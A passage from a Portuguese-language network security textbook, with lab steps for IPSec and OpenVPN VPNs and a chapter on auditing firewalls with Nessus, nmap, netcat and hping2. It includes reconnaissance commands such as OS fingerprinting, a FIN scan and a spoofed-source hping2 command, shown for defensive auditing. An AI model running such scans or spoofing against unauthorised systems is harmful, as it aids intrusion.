Para iniciar a VPN IPSec, temos de iniciar o serviço nos dois gateways VPN (FWGW1-A e FWGW1-B):

# /etc/init.d/ipsec start # /etc/init.d/ipsec restart

Passo 6

Verifique se a conexão IPSec foi estabelecida:

# ipsec auto status Passo 7

Verifique a conectividade com testes de ping para o host Windows XP de seu colega de trabalho. Por exemplo, se você é Grupo A, no host Windows XP, faça:

C:\> ping 10.1.2.10

Para esta atividade é recomendado deixar o firewall do host FWGW1 inicialmente desabilitado. Apenas configure o firewall do FWGW1 após obter êxito na configuração da VPN. Isso diminuirá as possibilidades de falha na comunicação.

Atividade 2 – VPN SSL Nesta atividade, iremos configurar um servidor e um cliente para estabelecer uma sessão VPN SSL. Para o estabelecimento da sessão VPN SSL, utilizaremos o OpenVPN configurado como servidor no host GWFW1 e o cliente instalado na estação de trabalho da rede Local Windows XP. 1. Configurar o host FWGW1 como servidor de VPN SSL, que receberá conexões na interface

externa conectada à internet de um vizinho de laboratório. Passo 1

Instale o OpenVPN no gateway Linux FWGW1 com o comando:

# apt-get install openvpn Para gerar os certificados, vamos utilizar o conjunto de scripts “EASY-RSA”, que acompanha o pacote do OpenVPN. Entre no diretório /usr/share/doc/openvpn/examples/easy-rsa/2.0 e utilize os seguintes comandos para inicializar as configurações do script:

# . ./vars # ./clean-all Para gerar os certificados do CA, utilize o seguinte comando: # ./build-ca Serão solicitados os parâmetros do certificado. Exemplo:

Country Name (2 letter code) [US]:BR State or Province Name (full name) [CA]:Distrito Federal Locality Name (eg, city) [SanFrancisco]:Brasilia Organization Name (eg, company) [Fort-Funston]:Rede Nacional de Pesquisa Organizational Unit Name (eg, section) []: Escola Superior de Redes Common Name (eg, your name or your server’s hostname) [Fort-Funston CA]:ca.rnp.br Email Address [[email protected]]:[email protected]

Capítulo 7 - Roteiro de Atividades

Passo 2

171

Passo 3

Para gerar o certificado do servidor OpenVPN, vamos utilizar o comando:

# ./build-key-server FWGW1-G Serão solicitadas informações para o certificado do servidor. Podemos utilizar o exemplo:

Country Name (2 letter code) [US]:BR State or Province Name (full name) [CA]:Distrito Federal Locality Name (eg, city) [SanFrancisco]:Brasilia

Organization Name (eg, company) [Fort-Funston]: Rede Nacional de Pesquisa Organizational Unit Name (eg, section) []:Escola Superior de Redes Common Name (eg, your name or your server’s hostname) [FWGW1-A]:fwgw1-G.esr.rnp.br Email Address [[email protected]]:[email protected]

Please enter the following ‘extra’ attributes to be sent with your certificate request A challenge password []: Ao final serão realizadas duas perguntas. As respostas devem ser positivas. Passo 4

Para gerar o certificado do cliente, podemos utilizar o comando: # ./build-key clienteXP Será solicitado também os dados para o certificado do cliente, podemos utilizar o exemplo:

Country Name (2 letter code) [US]:BR State or Province Name (full name) [CA]:Distrito Federal Locality Name (eg, city) [SanFrancisco]:Brasilia Organization Name (eg, company) [Fort-Funston]: Rede Nacional de Pesquisa Organizational Unit Name (eg, section) []:Escola Superior de Redes Common Name (eg, your name or your server’s hostname) [FWGW1-A]:clientexp.esr.rnp.br Email Address [[email protected]]:[email protected]

Please enter the following ‘extra’ attributes to be sent with your certificate request Segurança de Redes e Sistemas

A challenge password []:

172

Ao final serão realizadas duas perguntas. As respostas devem ser positivas. Passo 5

É necessário gerar também os parâmetros para o Diffie Hellman; para isso, utilize o comando:

# ./build-dh

Passo 6

Os certificados foram gerados no subdiretório keys. Vamos copiar os certificados necessários para o servidor para o diretório /etc/openvpn/keys com os comandos:

# mkdir /etc/openvpn/keys # cp keys/ca.crt /etc/openvpn/keys # cp keys/FWGW1-G.crt /etc/openvpn/keys # cp keys/FWGW1-G.key /etc/openvpn/keys # cp keys/dh1024.pem /etc/openvpn/keys Para aumentar ainda mais o nível de segurança, vamos gerar uma chave estática que deve ser configurada tanto no servidor quanto nos clientes da VPN. Para isso execute dentro do diretório /etc/openvpn/keys (essa chave será utilizada em outra atividade):

# openvpn --genkey --secret static.key Passo 7

É necessário editar o arquivo de configuração do OpenVPN. No host FWGW1, crie um arquivo com o seu editor de texto: /etc/openvpn/openvpn.conf. Podemos utilizar o seguinte arquivo de configuração como exemplo:

port 1194 proto udp dev tun

ca /etc/openvpn/keys/ca.crt cert /etc/openvpn/keys/FWGW1-G.crt dh /etc/openvpn/keys/dh1024.pem

server 10.8.G.0 255.255.255.0 ifconfig-pool-persist ipp.txt push “route 10.1.G.0 255.255.255.0” push “route 172.16.G.0 255.255.255.0”

keepalive 10 120 comp-lzo persist-key persist-tun status openvpn-status.log

Passo 8

Inicie o servidor OpenVPN com o comando:

# /etc/init.d/openvpn start Passo 9

Forneça as chaves do cliente para o seu colega de laboratório utilizar na estação Windows XP que será utilizada por ele para estabelecer a VPN. Você precisa fornecer os seguintes arquivos:

keys/clienteXP.crt keys/clienteXP.key keys/ca.crt keys/dh1024.pem

Capítulo 7 - Roteiro de Atividades

verb 3

keys/static.key 173

Configure o host Windows XP para estabelecer a conexão VPN SSL com o gateway de seu colega. Iremos utilizar o cliente de VPN disponibilizado no site do OpenVPN. Passo 1

A partir do host Windows XP, com um navegador, entre no site do OpenVPN (http://openvpn.net/) faça o download da última versão do cliente OpenVPN para Windows XP e proceda com a instalação do cliente. Por exemplo: http://swupdate.openvpn.net/community/releases/openvpn-2.1.4-install.exe

Passo 2

Coloque os certificados fornecidos pelo seu colega de laboratório na pasta:

C:\Program Files\OpenVPN\config Passo 3

Crie o arquivo de configuração para a conexão VPN:

C:\Program Files\OpenVPN\config\Lab07SEG2.ovpn Com o seguinte conteúdo:

client dev tun proto udp

remote Y.Y.Y.Y 1194 resolv-retry infinite nobind

persist-key persist-tun

ca ca.crt cert clienteXP.crt key clienteXP.key

verb 3 Onde Y.Y.Y.Y é o endereço público (interface eth0) do firewall (FWGW1) do seu colega de laboratório, onde será estabelecida a VPN. Passo 4

Abra o Windows Explorer na pasta de configuração do OpenVPN:

C:\Program Files\OpenVPN\config

Segurança de Redes e Sistemas

Clique com o botão direito do mouse sobre o arquivo de configuração criado no passo anterior.

174

Escolha a opção “Start OpenVPN on this config file”.

Verifique o funcionamento com testes de ping. Ex.:

C:\>ping 172.16.G.10

Pinging 172.16.G.10 with 32 bytes of data:

Reply from 172.16.G.10: bytes=32 time=5ms TTL=63 Reply from 172.16.G.10: bytes=32 time=4ms TTL=63 Reply from 172.16.G.10: bytes=32 time=2ms TTL=63 Reply from 172.16.G.10: bytes=32 time=5ms TTL=63

Ping statistics for 172.16.1.10: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 2ms, Maximum = 5ms, Average = 4ms C:\>ping 10.1.G.10

Pinging 10.1.G.10 with 32 bytes of data:

Reply from 10.1.G.10: bytes=32 time=5ms TTL=64 Reply from 10.1.G.10: bytes=32 time=1ms TTL=64 Reply from 10.1.G.10: bytes=32 time=1ms TTL=64 Reply from 10.1.G.10: bytes=32 time=1ms TTL=64

Ping statistics for 10.1.G.10: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 1ms, Maximum = 5ms, Average = 2ms

C:\>

Capítulo 7 - Roteiro de Atividades

Passo 5

175

Atividade 3 – Servidor VPN SSL para múltiplos clientes Nesta atividade, vamos realizar uma configuração mais avançada do OpenVPN. O objetivo é implementar uma solução de VPN para vários clientes simultâneos. A próxima figura ilustra como seria essa topologia:

Internet

Topologia A

FWGW1

Host Windows

DHCP

Host Windows

DMZ 172.16.1.0/24

Servidor Windows

Host Windows

Servidor Linux Rede local 10.1.1.0/24

Segurança de Redes e Sistemas

Host Windows

176

1. Vamos configurar o host FWGW1 como servidor de VPN SSL para múltiplos clientes, que

receberá conexões na interface externa conectada à internet. Caso não exista, crie um usuário chamado aluno com a senha rnpesr

#adduser aluno Para atender à necessidade acima, será necessário, ainda, inserir uma regra de firewall para realizar o NAT de todos os pacotes cuja origem seja a rede VPN e o destino seja as máquinas da rede interna.

#/sbin/iptables –t nat -A POSTROUTING -s 10.8.G.0.0/255.255.255.0 -o eth0 -j MASQUERADE Modificar o arquivo /etc/openvpn/server.conf com o conteúdo abaixo. Observe que várias linhas que estão comentadas poderiam ser utilizadas no seu ambiente. Digite apenas as linhas que não estão comentadas.

;;;;;;;;;;;;;;;;;; ; confs do servico ;;;;;;;;;;;;;;;;;; mode server

# Habilita modo site-to-client

tls-server

# Servidor de Certificado

proto udp

# Protocolo

port 1194

# Porta

dev tun

# Nome para interface virtual

max-clients 10

# Limita a quantidade máxima de

clientes

;;;;;;;;;;;;;;;;;; ; confs dos certificados ;;;;;;;;;;;;;;;;;;;;;;;; dh /etc/openvpn/keys/dh1024.pem ca /etc/openvpn/keys/ca.crt cert /etc/openvpn/keys/FWGW1-G.crt key /etc/openvpn/keys/ FWGW1-G.key tls-auth /etc/openvpn/keys/static.key duplicate-cn

#permite vários clientes com única chave

;;;;;;;;;;;;;;;;;;;;; ;confs de rede ;IP-SRV 10.8.G.1 / ;IP-NWK 10.8.G.0 ;;;;;;;;;;;;;;;;;;;;; # fornece a subrede da VPN (implica automaticamente tls) server 10.8.G.0 255.255.255.0 #define as rotas para os clientes push “route 10.1.G.0 255.255.255.0” push “route 172.16.G.0 255.255.255.0” # fixar endereços ips para clientes

Capítulo 7 - Roteiro de Atividades

Passo 1

ifconfig-pool-persist ipp.txt 177

;;;;;;;;;;;;;;;;;;;;;;;; ;Ativa compactação de pacotes ;;;;;;;;;;;;;;;;;;;;;;;; comp-lzo

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;confs de manutenção de estado ; do tunel por ping ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; push “ping 10” push “ping-restart 60” keepalive 10 120 persist-key persist-tun tls-timeout 120

;;;;;;;;;;;;;;;;;;;;;;;; ;confs de armazenamento ; de logs ;;;;;;;;;;;;;;;;;;;;;;;; status-version 2 status /var/log/openvpn-status.log log-append

/var/log/openvpn.log

verb 4

# Versao do status # Local de armaz status # Local de armaz log # nivel detalhamento

;;;;;;;;;;;;;;;;;;;;; ;confs do modulo PAM ;;;;;;;;;;;;;;;;;;;;; plugin /usr/lib/openvpn/openvpn-auth-pam.so login username-as-common-name

Reinicie o servidor OpenVPN

Segurança de Redes e Sistemas

# /etc/init.d/openvpn restart

178

Antes de continuar, verifique se os horários de todos os equipamentos estão sincronizados.

Passo 2

Agora vamos configurar um cliente para o OpenVPN. Crie o arquivo client. ovpn na pasta C:\Program Files\OpenVPN\config com o conteúdo abaixo:

remote Y.Y.Y.Y proto udp port 1194 client pull dev tun comp-lzo keepalive 10 120 persist-key persist-tun float tls-client dh dh1024.pem ca ca.crt cert clienteXP.crt key clienteXP.key tls-auth static.key auth-user-pass Onde Y.Y.Y.Y é o endereço público (interface eth0) do firewall (FWGW1) do seu colega de laboratório, onde será estabelecida a VPN. Abra o Windows Explorer na pasta de configuração do OpenVPN:

C:\Program Files\OpenVPN\config Clique com o botão direito do mouse sobre o arquivo de configuração criado no passo anterior.

Escolha a opção “Start OpenVPN on this config file”.

Capítulo 7 - Roteiro de Atividades

Passo 3

179

Passo 4

Verifique o funcionamento com testes de ping. Ex.:

C:\>ping 172.16.G.10

Pinging 172.16.G.10 with 32 bytes of data:

Reply from 172.16.G.10: bytes=32 time=5ms TTL=63 Reply from 172.16.G.10: bytes=32 time=4ms TTL=63 Reply from 172.16.G.10: bytes=32 time=2ms TTL=63 Reply from 172.16.G.10: bytes=32 time=5ms TTL=63

Ping statistics for 172.16.1.10: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 2ms, Maximum = 5ms, Average = 4ms

C:\>ping 10.1.G.10

Pinging 10.1.G.10 with 32 bytes of data:

Reply from 10.1.G.10: bytes=32 time=5ms TTL=64 Reply from 10.1.G.10: bytes=32 time=1ms TTL=64 Reply from 10.1.G.10: bytes=32 time=1ms TTL=64 Reply from 10.1.G.10: bytes=32 time=1ms TTL=64

Ping statistics for 10.1.G.10: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 1ms, Maximum = 5ms, Average = 2ms

Segurança de Redes e Sistemas

C:\>

180

8 Realizar uma auditoria com a ferramenta Nessus, diferenciar análise de vulnerabilidades de testes de penetração e estudar conceitos relacionados à auditoria de Segurança da Informação.

da Informação com a ferramenta Nessus.

conceitos

Análise de vulnerabilidades, testes de penetração e auditorias de Segurança

Introdução Podemos definir auditoria como a medição de algo contra um padrão. Apesar de estarmos tratando de Segurança da Informação, o conceito de auditoria pode ser aplicado em qualquer área, como qualidade, ambiental, financeira, de conformidade etc. Quando tratamos especificamente de auditoria de SI, podemos estar auditando o cumprimento de uma política de segurança, a eficácia de um novo sistema de segurança (como um firewall), se um sistema está com todas as correções conhecidas aplicadas, entre outros. Neste capítulo, vamos tratar especificamente de auditoria de segurança, utilizando ferramentas e técnicas para verificar se as implementações de segurança realizadas nos capítulos anteriores estão provendo o nível de segurança especificado. Entre as técnicas utilizadas em auditorias, as mais comuns são a análise de vulnerabilidades e os testes de penetração (penetration testing ou pentest). É importante ressaltar que este capítulo trata apenas da auditoria de dispositivos de segurança, sem entrar em questões de políticas, análise de risco e outros tópicos relacionados à governança e normatização. Esses assuntos são tratados em detalhes no curso Gestão da Segurança da Informação – NBR 27001 e NBR 27002, oferecido pela Escola Superior de Redes.

Exercício de nivelamento 1 e Auditoria de Segurança da Informação O que você entende por auditoria de segurança da informação?

Capítulo 8 - Auditoria de Segurança da Informação

objetivos

Auditoria de Segurança da Informação

181

Como a auditoria de dispositivos de segurança é realizada na sua organização?

Análise de vulnerabilidades Vulnerabilidade:

q

11 Falha em um sistema computacional. 11 Bugs (software). 11 Falha de configuração. Sistemas vulneráveis: 11 Software. 11 Sistema operacional. 11 Roteador. 11 Protocolo. 11 Hardware. Exploração de vulnerabilidade: 11 Estouros de pilha. 11 Negação de serviços. 11 Acesso irrestrito. Uma vulnerabilidade pode ser definida como uma brecha em um sistema computacional. Quando tratamos de programas (software), essas vulnerabilidades são muitas vezes chamadas de bugs. Um sistema vulnerável pode ser um software, um sistema operacional, um roteador,

Bug

um protocolo ou até um hardware. Essas vulnerabilidades podem ser exploradas com o intuito

Falha ou vulnerabilidade em um programa ou sistema.

de subverter o sistema em questão, causando indisponibilidade, obtendo controle sobre ele, acessando dados sensíveis ou utilizando o sistema para atacar outros sistemas. Existem diversos tipos de vulnerabilidades, sendo os mais comuns as vulnerabilidades de software, causadas muitas vezes por validação insuficiente dos parâmetros recebidos, e as vulnerabilidades em protocolos ou serviços. Essas vulnerabilidades podem levar a estouros de pilha (buffer overflow), negação de serviços (DoS e DDoS), e até a acesso irrestrito ao

DoS

sistema vulnerável.

Denial of Service é a negação ou indisponibilidade de um serviço causada por um ataque.

Essas vulnerabilidades normalmente são descobertas por pesquisadores, que podem ser da própria empresa que fabrica o produto ou pesquisadores independentes, que costumam notificar as empresas sobre a falha para que elas possam lançar correções antes da divulgação

Segurança de Redes e Sistemas

pública. Infelizmente, muitos administradores não aplicam as correções de segurança dos

182

fabricantes nos sistemas sob sua administração, de modo que estes ficam vulneráveis a falhas conhecidas e amplamente divulgadas. Uma forma eficiente de verificar se uma rede, aplicação ou sistema operacional está suscetível a determinadas falhas é com o uso de ferramentas de análise de vulnerabilidades. Essas ferramentas utilizam assinaturas ou regras que simulam falhas conhecidas e produzem um relatório com os problemas encontrados e possíveis soluções. É importante, porém, salientar que a análise de vulnerabilidade não substitui o controle da aplicação de correções dos fabricantes dos produtos utilizados em uma organização, pois confiar na ferramenta pode levar à não aplicação de uma correção caso ela esteja desatualizada ou mesmo não tenha sido atualizada para verificar uma vulnerabilidade específica.

DDoS Distributed Denial of Service é o ataque de negação de serviço realizado de forma distribuída e coordenada

Como novas falhas são encontradas todos os dias, uma boa ferramenta de análise de vulnerabilidades deve ser constantemente atualizada, de modo que possa detectar as falhas mais recentes descobertas. Existe atualmente uma série de ferramentas de análise de vulnerabilidades, gratuitas e comerciais. Algumas ferramentas gratuitas / open source: Nmap, Nessus, OpenVas, Microsoft MBSA; comerciais: Rapid7 NeXpose, eEye Retina, GFI LANguard, IBM Internet Scanner. A seguir, detalharemos o uso da ferramenta Nessus, que é gratuita para fins não comerciais e pode ser obtida livremente na internet.

Exercício de fixação 1 e Análise de vulnerabilidades Como pode ser realizada uma análise de vulnerabilidades?

Instalação do Nessus O Nessus é uma ferramenta de análise de vulnerabilidades, atualmente mantida pela empresa Tenable Network Security. Apesar de originalmente ser uma ferramenta open source, hoje a sua licença permite o uso gratuito apenas residencial e para treinamento. O uso comercial necessita da aquisição de uma licença específica. Por conta dessas mudanças, foi criado um novo produto, a partir da última versão livre do Nessus, atualmente conhecido como OpenVAS. Por questões didáticas e pelo fato de estar mais adequado ao laboratório prático, utilizaremos o Nessus nas atividades. Para instalar o Nessus é necessário baixar o pacote específico para o Linux Debian, utilizado no laboratório, uma vez que a versão mais recente ainda não se encontra disponível nos repositórios para instalação com apt-get. O download do Nessus pode ser feito no seguinte endereço: http://www.nessus.org/ A instalação segue os seguintes passos: 1. Baixe o pacote para Debian 5.0 (32 bits) no site indicado. 2. Instale o pacote com o comando dpkg –i . A instalação pode demorar um

3. Acesse o endereço http://www.nessus.org/register para obter uma chave de registro.

Para registrar o Nessus para uso doméstico, será necessário fornecer um endereço de correio eletrônico, para que a chave seja enviada. No e-mail recebido, encontra-se referência ao comando necessário para inserir a chave na ferramenta: /opt/nessus/bin/nessus-fetch --register . 4. Execute o comando /opt/nessus/sbin/nessus-adduser para criar um usuário com direitos de

administrador para o Nessus.

FWGW1:~# /opt/nessus/sbin/nessus-adduser Login : rnp Login password :

Capítulo 8 - Auditoria de Segurança da Informação

pouco, seja paciente.

Login password (again) : 183

Do you want this user to be a Nessus ‘admin’ user ? (can upload plugins, etc...) (y/n) [n]: y User rules ---------nessusd has a rules system which allows you to restrict the hosts that rnp has the right to test. For instance, you may want him to be able to scan his own host only.

Please see the nessus-adduser manual for the rules syntax

Enter the rules for this user, and enter a BLANK LINE once you are done : (the user can have an empty rules set)

Login Password

: rnp : ***********

This user will have ‘admin’ privileges within the Nessus server Rules

:

Is that ok ? (y/n) [y] y User added Por fim, inicie o Nessus com o comando /etc/init.d/nessusd start.

Auditoria com o Nessus Instalação:

q

11 Baixar o pacote. 11 Instalar o pacote (dpkg –i ). 11 Obter chave de registro. 11 Criar um usuário no Nessus.

Segurança de Redes e Sistemas

11 Iniciar o Nessus.

184

Auditoria: 11 Criação de uma política e de uma varredura.

Iniciando a varredura Para realizar uma auditoria, necessitamos inicialmente acessar o servidor Nessus no endereço: https://:8834 Entre com o usuário e a senha, criados nas etapas anteriores.

Figura 8.1 Tela de login do Nessus.

Através da tela principal do Nessus, podemos criar uma política (policy), para ser usada na auditoria. Clique no botão Add, para adicionar uma política. Na próxima tela, nomeie essa

Figura 8.2 Política.

Capítulo 8 - Auditoria de Segurança da Informação

política. Inicialmente, deixaremos os valores padrão.

185

Após criar a política, salve-a e crie uma varredura (scan). Defina um nome, escolha a política recém-criada e a rede que será auditada. Neste exemplo, auditaremos a nossa rede de servidores (172.16.1.0/24).

Figura 8.3 Configuração Nessus.

Por fim, iniciaremos a auditoria clicando no botão Launch scan para iniciar a auditoria, que

Segurança de Redes e Sistemas

após seu término terá o relatório disponível na guia Reports, conforme a próxima tela.

186

Figura 8.4 Relatório do Nessus.

Nos relatórios, podemos verificar as vulnerabilidades encontradas, classificadas por tipo e diferenciadas por servidor auditado.

Exemplo de auditoria em firewall ivocarv$ nmap 192.168.1.0/24   Starting Nmap 5.00 ( http://nmap.org ) at 2010-12-30 17:58 BRT Interestingportson 192.168.1.1: Notshown: 997 closedports PORT

STATE SERVICE

23/tcp

open

telnet

80/tcp

open

http

5431/tcp open

park-agent

O horário do firewall está correto? Ele está sendo sincronizado com uma fonte de tempo confiável? Como foi dito, auditoria de segurança é um assunto vasto. Podemos auditar um perímetro, uma rede, um sistema operacional, uma aplicação ou um ativo de rede específico como um roteador, switch, hub. Neste capítulo veremos um exemplo de auditoria em um firewall. Normalmente uma auditoria é realizada com base em uma norma ou boas práticas em segurança. Neste exemplo estaremos realizando uma auditoria frente às boas práticas. Podemos destacar alguns aspectos que serão analisados nesta auditoria:

q

11 Arquitetura do firewall. 11 Testando o firewall. 11 Testando as regras do firewall. 11 Alertas e registros.

Arquitetura do firewall Neste ponto da auditoria, estamos preocupados se a arquitetura definida realmente cumpre os objetivos que foram definidos. O auditor deve verificar as seguintes questões, entre outras: 11 Diferentes redes ligadas ao firewall estão fisicamente separadas?

ele monitorado). 11 Como o firewall está controlando o fluxo de informação? 11 O diagrama lógico do perímetro está correto? 11 A segmentação realizada é suficiente? 22 Deve-se adicionar ou remover um firewall? 22 Deve-se adicionar ou remover interfaces de rede?

Testando o firewall Existem recursos de segurança específicos para a plataforma que está sendo auditada? Eles estão bem configurados?

Capítulo 8 - Auditoria de Segurança da Informação

11 Existem hubs sendo usados na rede? (Hubs podem ter todo o tráfego que passa por

187

Existem duas categorias diferentes de firewall: os que rodam em cima de um sistema operacional e os chamados appliances, que são equipamentos específicos que fazem o papel

Appliance

de firewall (ex.: um switch com firewall embutido, um roteador com filtros de pacotes, um

Serviço que executa dentro de um hardware dedicado e otimizado para a aplicação em questão.

firewall embutido em uma caixa física). Cada tipo tem suas vantagens e desvantagens: os baseados em sistemas operacionais são mais flexíveis, porém são suscetíveis a vulnerabilidades no sistema operacional usado; os appliances são normalmente mais seguros “de fábrica”, porém normalmente são proprietários e será preciso confiar no fabricante no que tange à segurança. Neste ponto da auditoria, as seguintes questões são importantes: 11 Quais serviços estão executando no firewall? Eles são necessários? Eles são seguros? 11 Existem correções de segurança que podem ser aplicadas no appliance ou no sistema operacional? 11 Quais as recomendações básicas de configuração do fabricante? Elas foram aplicadas? 11 Existem acessos de administrador ao firewall? Eles estão com o mínimo de permissão possível? 11 Uma ferramenta de auditoria relata algum problema com o firewall? 11 Existem recursos de segurança específicos para a plataforma que está sendo auditada? Eles estão bem configurados?

Testando as regras do firewall As bases de regras de um firewall costumam crescer com o tempo, por conta de solicitações de inclusão de novos servidores e novos serviços oferecidos na rede, e também de conexões com novas redes. Após alguns meses de manutenção das regras de um firewall, elas podem se tornar bastante complexas. Essa complexidade pode esconder regras redundantes, isto é, regras temporárias que nunca foram removidas ou até mesmo regras incorretas que ficaram esquecidas. O auditor deve analisar as regras do firewall, de modo a encontrar e eliminar essas inconsistências, além de procurar simplificar as regras para facilitar uma visualização futura. A ideia final é minimizar ao máximo a quantidade de regras. Essa redução não só tornará o seu firewall mais simples, como mais rápido, visto que terá menos regras para processar. A seguir algumas considerações que devem ser avaliadas pelo auditor: 11 Eliminar regras desnecessárias. 11 Combinar regras repetitivas. 11 Eliminar regras não autorizadas.

Segurança de Redes e Sistemas

11 Terminar com o mínimo possível de regras. 11 Documentar as regras. 11 Verificar regras que realizam registros de acesso: 22 Somente registrar o necessário. 22 Registros excessivos podem ocupar muito espaço e diminuir o desempenho. 11 Verificar a existência de regras de bloqueio padrão. 11 Verificar se as regras são específicas. 22 Princípio do menor privilégio. 11 Utilizar ferramentas de varredura para validar as regras, como Nmap. 188

O Nmap é uma ferramenta simples e prática para validar regras de firewall, verificar as portas abertas de um servidor ou até avaliar os serviços em uma rede inteira. Suporta diversos tipos de varredura: S (SYN), T (Connect), A (ACK), W (Window), M (Maimon), U (UDP), N (Null), F (FIN), X (Xmas), I (Idle), Y (SCTP), O (IP protocol) Neste exemplo, executamos o Nmap com as opções padrão e passamos como parâmetro a rede 192.168.1.0/24, que corresponde ao endereço classe C 192.168.1.0 (máscara 255.255.255.0). Note que o Nmap apresenta apenas os endereços IP que estão disponíveis, mostrando as portas abertas em cada servidor. Alguns parâmetros interessantes do Nmap:

q

11 -O – realiza uma tentativa de detectar o sistema operacional da máquina analisada. 11 -P0 – realiza a varredura da máquina, mesmo que ela não responda ao ping. Útil em servidores que estão sendo filtrados por firewalls. 11 -v – aumenta a quantidade de informação apresentada. 11 -s – tipo de varredura utilizada; algumas varreduras procuram evitar que o sistema destino registre as tentativas de acesso. Um exercício interessante é realizar scans utilizando diversos tipos diferentes e verificar o tipo de registro que aparece no servidor remoto. A seguir outro exemplo do Nmap, agora utilizando a opção –O, que procura adivinhar a versão do sistema operacional do sistema-destino:

macbook-pro-de-ivo-peixinho:~ root# nmap 192.168.1.1 -O Starting Nmap 5.00 ( http://nmap.org ) at 2010-12-30 18:07 BRT. Interesting ports on 192.168.1.1: Not shown: 997 closed ports PORT

STATE SERVICE

23/tcp

open

telnet

80/tcp

open

http

5431/tcp open

park-agent

MAC Address: 00:23:CD:FA:10:E7 (Tp-link Technologies CO.)

Running: Linux 2.6.X OS details: Linux 2.6.13 - 2.6.27 Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/. Nmap done: 1 IP address (1 host up) scanned in 2.77 seconds

Capítulo 8 - Auditoria de Segurança da Informação

Device type: general purpose

189

Verifique que o Nmap detectou o sistema operacional como Linux, porém o MAC Address se refere à empresa TP-Link. Com um pouco de investigação, chegaremos à conclusão de que se trata de um modem ADSL, da marca TP-Link, que provavelmente executa uma versão do sistema operacional Linux. Um Telnet na porta 23, que está aberta, já nos fornece uma pista importante:

macbook-pro-de-ivo-peixinho:~ root# telnet 192.168.1.1 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is ‘^]’. BCM96338 ADSL Router Login: Por fim, uma execução do Nmap, para realizar um FIN scan:

macbook-pro-de-ivo-peixinho:~ root# nmap -sF 192.168.1.1

Starting Nmap 5.00 (http://nmap.org) at 2010-12-30 18:15 BRT Warning: Unable to open interface vboxnet0 -- skipping it. Warning: Unable to open interface vmnet1 -- skipping it. Warning: Unable to open interface vmnet8 -- skipping it. Interesting ports on 192.168.1.1: Not shown: 997 closed ports PORT

STATE

SERVICE

23/tcp

open|filtered telnet

80/tcp

open|filtered http

5431/tcp open|filtered park-agent MAC Address: 00:23:CD:FA:10:E7 (Tp-link Technologies CO.)

Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds Outra ferramenta interessante para testar configuração de firewall é a ferramenta Netcat.

Segurança de Redes e Sistemas

Ela é conhecida como o “canivete suíço” das redes, devido à sua versatilidade. Imagine que

190

desejamos testar se a porta 3500 TCP está disponível em um determinado servidor, porém não temos nenhum serviço em execução nesta porta. Com o Netcat, podemos registrar um serviço nesta porta:

root# nc -l 3500 Em outra estação, podemos realizar uma conexão com o servidor, na porta 3500:

root# nc 192.168.1.6 3500

Dessa forma, caso o tráfego esteja permitido, tudo o que escrevermos na estação será apresentado no servidor. Por fim, temos a ferramenta Hping2, que permite enviar pacotes arbitrários para uma máquina remota. No exemplo abaixo, vamos utilizar o Hping2 para enviar pacotes TCP para a porta 443 do servidor 192.168.1.1, com a flag SYN habilitada:

ivocarv$ sudo hping2 192.168.1.1 -S -V -p 443 using en1, addr: 192.168.1.6, MTU: 1500 HPING 192.168.1.1 (en1 192.168.1.1): S set, 40 headers + 0 data bytes len=46 ip=192.168.1.1 ttl=64 DF id=3656 tos=0 iplen=40 sport=443 flags=RA seq=0 win=0 rtt=3.0 ms seq=0 ack=1787010098 sum=ab1a urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3657 tos=0 iplen=40 sport=443 flags=RA seq=1 win=0 rtt=2.1 ms seq=0 ack=235069102 sum=af34 urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3658 tos=0 iplen=40 sport=443 flags=RA seq=2 win=0 rtt=3.0 ms seq=0 ack=1716272813 sum=657c urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3659 tos=0 iplen=40 sport=443 flags=RA seq=3 win=0 rtt=2.0 ms seq=0 ack=184330740 sum=6d6c urp=0 Caso desejamos habilitar a flag ACK, basta adicionar o parâmetro –A:

using en1, addr: 192.168.1.6, MTU: 1500 HPING 192.168.1.1 (en1 192.168.1.1): SA set, 40 headers + 0 data bytes len=46 ip=192.168.1.1 ttl=64 DF id=3661 tos=0 iplen=40 sport=80 flags=R seq=0 win=0 rtt=2.1 ms seq=15376070 ack=0 sum=6984 urp=0

len=46 ip=192.168.1.1 ttl=64 DF id=3662 tos=0 iplen=40 sport=80 flags=R seq=1 win=0 rtt=2.1 ms seq=701031830 ack=0 sum=ba14 urp=0

Capítulo 8 - Auditoria de Segurança da Informação

ivocarv$ sudo hping2 192.168.1.1 -S -V -A -p 80

191

len=46 ip=192.168.1.1 ttl=64 DF id=3663 tos=0 iplen=40 sport=80 flags=R seq=2 win=0 rtt=2.2 ms seq=1666713083 ack=0 sum=c4ba urp=0 Por fim, vamos enviar pacotes UDP na porta 53, alterando o endereço de origem para o endereço 192.168.1.150:

ivocarv$ sudo hping2 192.168.1.1 --udp --spoof 192.168.1.150 -p 53 HPING 192.168.1.1 (en1 192.168.1.1): udp mode set, 28 headers + 0 data bytes ^C --- 192.168.1.1 hping statistic --1 packets tramitted, 0 packets received, 100% packet loss

Exercício de fixação 2 e Arquitetura do firewall Que tópicos devem ser verificados na auditoria da arquitetura do firewall?

Exercício de fixação 3 e Testando o firewall Quais são as questões importantes que devem ser verificadas no teste do firewall?

Explique como devem ser realizadas as regras do firewall. O que deve ser observado?

Alertas e registros Segurança de Redes e Sistemas

Registros e alertas são itens importantes em uma política de segurança; porém, se eles não

192

são vistos periodicamente pela equipe responsável, de nada adiantam. Firewalls com muitos registros sendo gerados podem ser facilmente esquecidos pelo administrador, que fica perdido entre tantos dados. Alertas podem ser configurados para envio por e-mail ou SMS, de modo que possam ser mais facilmente vistos pelo administrador. Revisar os registros periodicamente pode ser útil para detectar tentativas de ataqu, e permitir aos responsáveis a tomada de ações proativas.

